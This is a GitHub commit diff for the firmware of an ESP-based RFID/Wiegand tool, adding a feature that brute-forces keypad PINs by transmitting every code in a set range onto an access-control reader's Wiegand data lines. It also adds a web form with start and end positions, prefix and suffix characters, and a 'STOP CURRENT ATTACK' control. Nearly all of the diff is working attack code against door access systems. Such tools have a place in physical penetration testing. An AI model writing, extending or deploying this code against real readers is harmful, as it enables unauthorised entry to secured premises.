Skip to content

Commit 98048fe

Browse files
exploitagencyexploitagency
committed
Release 1.1.1 - Add Bruteforcing of PIN codes
1 parent ae051bb commit 98048fe

File tree

2 files changed

+186
-84
lines changed

2 files changed

+186
-84
lines changed

‎Source Code/esprfidtool/esprfidtool.ino

+185-83
Original file line numberDiff line numberDiff line change
@@ -77,6 +77,9 @@ int txdelayus;
7777
int txdelayms;
7878
int safemode;
7979

80+
int TXstatus=0;
81+
String pinHTML;
82+
8083
#include "pinSEND.h"
8184

8285
WiegandNG wg;
@@ -1087,13 +1090,33 @@ void setup() {
10871090
server.send_P(200, "text/html", License);
10881091
});
10891092

1093+
server.on("/stoptx", [](){
1094+
server.send(200, "text/html", F("<html><body>This will kill any ongoing transmissions.<br><br>Are you sure?<br><br><a href=\"/stoptx/yes\">YES</a> - <a href=\"/\">NO</a></body></html>"));
1095+
});
1096+
1097+
server.on("/stoptx/yes", [](){
1098+
TXstatus=0;
1099+
server.send(200, "text/html", F("<a href=\"/\"><- BACK TO INDEX</a><br><br><a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>All transmissions have been stopped."));
1100+
});
1101+
10901102
server.on("/experimental", [](){
10911103
String experimentalStatus="Awaiting Instructions";
10921104

1093-
if (server.hasArg("pinHTML")) {
1094-
String pinHTML=server.arg("pinHTML");
1105+
if (server.hasArg("pinHTML")||server.hasArg("bruteEND")) {
1106+
pinHTML=server.arg("pinHTML");
10951107
int pinBITS=server.arg("pinBITS").toInt();
10961108
int pinHTMLDELAY=server.arg("pinHTMLDELAY").toInt();
1109+
int bruteforcing;
1110+
int brutePAD=(server.arg("bruteSTART").length());
1111+
if (server.hasArg("bruteSTART")) {
1112+
bruteforcing=1;
1113+
}
1114+
else {
1115+
bruteforcing=0;
1116+
}
1117+
1118+
TXstatus=1;
1119+
10971120
wg.pause();
10981121
digitalWrite(DATA0, HIGH);
10991122
pinMode(DATA0,OUTPUT);
@@ -1102,111 +1125,168 @@ void setup() {
11021125

11031126
experimentalStatus=String()+"Transmitting "+pinBITS+"bit Wiegand Format PIN: "+pinHTML+" with a "+pinHTMLDELAY+"ms delay between \"keypresses\"";
11041127

1105-
for (int i=0; i<=pinHTML.length(); i++) {
1106-
if (pinHTML.charAt(i) == '0') {
1107-
if (pinBITS==4) {
1108-
pinSEND(pinHTMLDELAY,"0000");
1109-
}
1110-
else if (pinBITS==8) {
1111-
pinSEND(pinHTMLDELAY,"11110000");
1112-
}
1113-
}
1114-
else if (pinHTML.charAt(i) == '1') {
1115-
if (pinBITS==4) {
1116-
pinSEND(pinHTMLDELAY,"0001");
1117-
}
1118-
else if (pinBITS==8) {
1119-
pinSEND(pinHTMLDELAY,"11100001");
1120-
}
1121-
}
1122-
else if (pinHTML.charAt(i) == '2') {
1123-
if (pinBITS==4) {
1124-
pinSEND(pinHTMLDELAY,"0010");
1125-
}
1126-
else if (pinBITS==8) {
1127-
pinSEND(pinHTMLDELAY,"11010010");
1128+
int bruteSTART;
1129+
int bruteEND;
1130+
if (server.hasArg("bruteSTART")) {
1131+
bruteSTART=server.arg("bruteSTART").toInt();
1132+
}
1133+
else {
1134+
bruteSTART=0;
1135+
}
1136+
1137+
if (server.hasArg("bruteEND")) {
1138+
bruteEND=server.arg("bruteEND").toInt();
1139+
}
1140+
else {
1141+
bruteEND=0;
1142+
}
1143+
1144+
if (server.hasArg("bruteSTART")) {
1145+
server.send(200, "text/html", String()+"<a href=\"/\"><- BACK TO INDEX</a><br><br><a href=\"/experimental\"><- BACK TO EXPERIMENTAL TX MODE</a><br><br>Brute forcing "+pinBITS+"bit Wiegand Format PIN from "+bruteSTART+" to "+bruteEND+" with a "+pinHTMLDELAY+"ms delay between \"keypresses\"<br>This may take a while, your device will be busy until the sequence has been completely transmitted!<br>Please \"STOP CURRENT TRANSMISSION\" before attempting to use your device or simply wait for the transmission to finish.<br>You can view if the brute force attempt has completed by returning to the Experimental TX page and checking the status located under \"Bruteforce PIN\"<br><br><a href=\"/stoptx\"><button>STOP CURRENT TRANSMISSION</button></a>");
1146+
delay(50);
1147+
}
1148+
1149+
String bruteSTARTchar="";
1150+
String bruteENDchar="";
1151+
if (server.hasArg("bruteSTARTchar")&&(server.arg("bruteSTARTchar")!="")) {
1152+
bruteSTARTchar=(server.arg("bruteSTARTchar"));
1153+
}
1154+
if (server.hasArg("bruteENDchar")&&(server.arg("bruteENDchar")!="")) {
1155+
bruteENDchar=(server.arg("bruteENDchar"));
1156+
}
1157+
1158+
for (int brute=bruteSTART; brute<=bruteEND; brute++) {
1159+
1160+
if (bruteforcing==1) {
1161+
pinHTML=String(brute);
1162+
while (pinHTML.length()<brutePAD) {
1163+
pinHTML="0"+pinHTML;
11281164
}
11291165
}
1130-
else if (pinHTML.charAt(i) == '3') {
1131-
if (pinBITS==4) {
1132-
pinSEND(pinHTMLDELAY,"0011");
1133-
}
1134-
else if (pinBITS==8) {
1135-
pinSEND(pinHTMLDELAY,"11000011");
1136-
}
1166+
1167+
if (bruteSTARTchar!="") {
1168+
pinHTML=bruteSTARTchar+pinHTML;
11371169
}
1138-
else if (pinHTML.charAt(i) == '4') {
1139-
if (pinBITS==4) {
1140-
pinSEND(pinHTMLDELAY,"0100");
1141-
}
1142-
else if (pinBITS==8) {
1143-
pinSEND(pinHTMLDELAY,"10110100");
1144-
}
1170+
1171+
if (bruteENDchar!="") {
1172+
pinHTML=pinHTML+bruteENDchar;
11451173
}
1146-
else if (pinHTML.charAt(i) == '5') {
1147-
if (pinBITS==4) {
1148-
pinSEND(pinHTMLDELAY,"0101");
1174+
1175+
for (int i=0; i<=pinHTML.length(); i++) {
1176+
if (pinHTML.charAt(i) == '0') {
1177+
if (pinBITS==4) {
1178+
pinSEND(pinHTMLDELAY,"0000");
1179+
}
1180+
else if (pinBITS==8) {
1181+
pinSEND(pinHTMLDELAY,"11110000");
1182+
}
11491183
}
1150-
else if (pinBITS==8) {
1151-
pinSEND(pinHTMLDELAY,"10100101");
1184+
else if (pinHTML.charAt(i) == '1') {
1185+
if (pinBITS==4) {
1186+
pinSEND(pinHTMLDELAY,"0001");
1187+
}
1188+
else if (pinBITS==8) {
1189+
pinSEND(pinHTMLDELAY,"11100001");
1190+
}
11521191
}
1153-
}
1154-
else if (pinHTML.charAt(i) == '6') {
1155-
if (pinBITS==4) {
1156-
pinSEND(pinHTMLDELAY,"0110");
1192+
else if (pinHTML.charAt(i) == '2') {
1193+
if (pinBITS==4) {
1194+
pinSEND(pinHTMLDELAY,"0010");
1195+
}
1196+
else if (pinBITS==8) {
1197+
pinSEND(pinHTMLDELAY,"11010010");
1198+
}
11571199
}
1158-
else if (pinBITS==8) {
1159-
pinSEND(pinHTMLDELAY,"10010110");
1200+
else if (pinHTML.charAt(i) == '3') {
1201+
if (pinBITS==4) {
1202+
pinSEND(pinHTMLDELAY,"0011");
1203+
}
1204+
else if (pinBITS==8) {
1205+
pinSEND(pinHTMLDELAY,"11000011");
1206+
}
11601207
}
1161-
}
1162-
else if (pinHTML.charAt(i) == '7') {
1163-
if (pinBITS==4) {
1164-
pinSEND(pinHTMLDELAY,"0111");
1208+
else if (pinHTML.charAt(i) == '4') {
1209+
if (pinBITS==4) {
1210+
pinSEND(pinHTMLDELAY,"0100");
1211+
}
1212+
else if (pinBITS==8) {
1213+
pinSEND(pinHTMLDELAY,"10110100");
1214+
}
11651215
}
1166-
else if (pinBITS==8) {
1167-
pinSEND(pinHTMLDELAY,"10000111");
1216+
else if (pinHTML.charAt(i) == '5') {
1217+
if (pinBITS==4) {
1218+
pinSEND(pinHTMLDELAY,"0101");
1219+
}
1220+
else if (pinBITS==8) {
1221+
pinSEND(pinHTMLDELAY,"10100101");
1222+
}
11681223
}
1169-
}
1170-
else if (pinHTML.charAt(i) == '8') {
1171-
if (pinBITS==4) {
1172-
pinSEND(pinHTMLDELAY,"1000");
1224+
else if (pinHTML.charAt(i) == '6') {
1225+
if (pinBITS==4) {
1226+
pinSEND(pinHTMLDELAY,"0110");
1227+
}
1228+
else if (pinBITS==8) {
1229+
pinSEND(pinHTMLDELAY,"10010110");
1230+
}
11731231
}
1174-
else if (pinBITS==8) {
1175-
pinSEND(pinHTMLDELAY,"01111000");
1232+
else if (pinHTML.charAt(i) == '7') {
1233+
if (pinBITS==4) {
1234+
pinSEND(pinHTMLDELAY,"0111");
1235+
}
1236+
else if (pinBITS==8) {
1237+
pinSEND(pinHTMLDELAY,"10000111");
1238+
}
11761239
}
1177-
}
1178-
else if (pinHTML.charAt(i) == '9') {
1179-
if (pinBITS==4) {
1180-
pinSEND(pinHTMLDELAY,"1001");
1240+
else if (pinHTML.charAt(i) == '8') {
1241+
if (pinBITS==4) {
1242+
pinSEND(pinHTMLDELAY,"1000");
1243+
}
1244+
else if (pinBITS==8) {
1245+
pinSEND(pinHTMLDELAY,"01111000");
1246+
}
11811247
}
1182-
else if (pinBITS==8) {
1183-
pinSEND(pinHTMLDELAY,"01101001");
1248+
else if (pinHTML.charAt(i) == '9') {
1249+
if (pinBITS==4) {
1250+
pinSEND(pinHTMLDELAY,"1001");
1251+
}
1252+
else if (pinBITS==8) {
1253+
pinSEND(pinHTMLDELAY,"01101001");
1254+
}
11841255
}
1185-
}
1186-
else if (pinHTML.charAt(i) == '*') {
1187-
if (pinBITS==4) {
1188-
pinSEND(pinHTMLDELAY,"1010");
1256+
else if (pinHTML.charAt(i) == '*') {
1257+
if (pinBITS==4) {
1258+
pinSEND(pinHTMLDELAY,"1010");
1259+
}
1260+
else if (pinBITS==8) {
1261+
pinSEND(pinHTMLDELAY,"01011010");
1262+
}
11891263
}
1190-
else if (pinBITS==8) {
1191-
pinSEND(pinHTMLDELAY,"01011010");
1264+
else if (pinHTML.charAt(i) == '#') {
1265+
if (pinBITS==4) {
1266+
pinSEND(pinHTMLDELAY,"1011");
1267+
}
1268+
else if (pinBITS==8) {
1269+
pinSEND(pinHTMLDELAY,"01001011");
1270+
}
11921271
}
11931272
}
1194-
else if (pinHTML.charAt(i) == '#') {
1195-
if (pinBITS==4) {
1196-
pinSEND(pinHTMLDELAY,"1011");
1197-
}
1198-
else if (pinBITS==8) {
1199-
pinSEND(pinHTMLDELAY,"01001011");
1200-
}
1273+
1274+
server.handleClient();
1275+
if (TXstatus!=1) {
1276+
break;
12011277
}
1278+
12021279
}
1203-
12041280
pinMode(DATA0, INPUT);
12051281
pinMode(DATA1, INPUT);
12061282
wg.clear();
1207-
12081283
pinHTML="";
12091284
pinHTMLDELAY=100;
1285+
TXstatus=0;
1286+
bruteforcing=0;
1287+
brutePAD=0;
1288+
bruteSTARTchar="";
1289+
bruteENDchar="";
12101290
}
12111291

12121292

@@ -1321,6 +1401,14 @@ void setup() {
13211401
experimentalStatus=String()+"Outputting 3.3V on \"Push to Open\" wire for "+(server.arg("pushTime").toInt())+"ms.";
13221402
}
13231403

1404+
String activeTX="";
1405+
if (TXstatus==1) {
1406+
activeTX="Transmitting PIN "+pinHTML+"<br><a href=\"/stoptx\"><button>STOP CURRENT ATTACK</button></a>";
1407+
}
1408+
else {
1409+
activeTX="INACTIVE<br><button>NOTHING TO STOP</button>";
1410+
}
1411+
13241412
server.send(200, "text/html",
13251413
String()+
13261414
F(
@@ -1364,6 +1452,20 @@ void setup() {
13641452
"<br>"
13651453
"<hr>"
13661454
"<br>"
1455+
"<FORM action=\"/experimental\" id=\"brutepin\" method=\"post\">"
1456+
"<b>Bruteforce PIN:</b><br>"
1457+
"<small>PIN begins with character(s): </small><INPUT form=\"brutepin\" type=\"text\" name=\"bruteSTARTchar\" value=\"\" pattern=\"[0-9*#]{0,}\" title=\"Allowable character set(1234567890*#)\" size=\"8\"><br>"
1458+
"<small>PIN start position: </small><INPUT form=\"brutepin\" type=\"number\" name=\"bruteSTART\" value=\"0000\" minlength=\"1\" min=\"0\" size=\"8\"><br>"
1459+
"<small>PIN end position: </small><INPUT form=\"brutepin\" type=\"number\" name=\"bruteEND\" value=\"9999\" minlength=\"1\" min=\"0\" size=\"8\"><br>"
1460+
"<small>PIN ends with character(s): </small><INPUT form=\"brutepin\" type=\"text\" name=\"bruteENDchar\" value=\"#\" pattern=\"[0-9*#]{0,}\" title=\"Allowable character set(1234567890*#)\" size=\"8\"><br>"
1461+
"<small>Delay between \"keypresses\": </small><INPUT form=\"brutepin\" type=\"number\" name=\"pinHTMLDELAY\" value=\"3\" minlength=\"1\" min=\"0\" size=\"8\"><small>ms</small><br>"
1462+
"<INPUT form=\"brutepin\" type=\"radio\" name=\"pinBITS\" id=\"pinBITS\" value=\"4\" checked required> <small>4bit Wiegand PIN Format</small> "
1463+
"<INPUT form=\"brutepin\" type=\"radio\" name=\"pinBITS\" id=\"pinBITS\" value=\"8\" required> <small>8bit Wiegand PIN Format</small><br>"
1464+
"<INPUT form=\"brutepin\" type=\"submit\" value=\"Transmit\"></FORM><br>"
1465+
"<br>"
1466+
"Brute force status: ")+activeTX+F("<br>"
1467+
"<hr>"
1468+
"<br>"
13671469
"<b>Fuzzing:</b><br><br>"
13681470
"<FORM action=\"/experimental\" id=\"fuzz\" method=\"post\">"
13691471
"<b>Number of bits:</b>"

‎Source Code/esprfidtool/version.h

+1-1
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
String version = "1.1.0";
1+
String version = "1.1.1";

0 commit comments

Comments
 (0)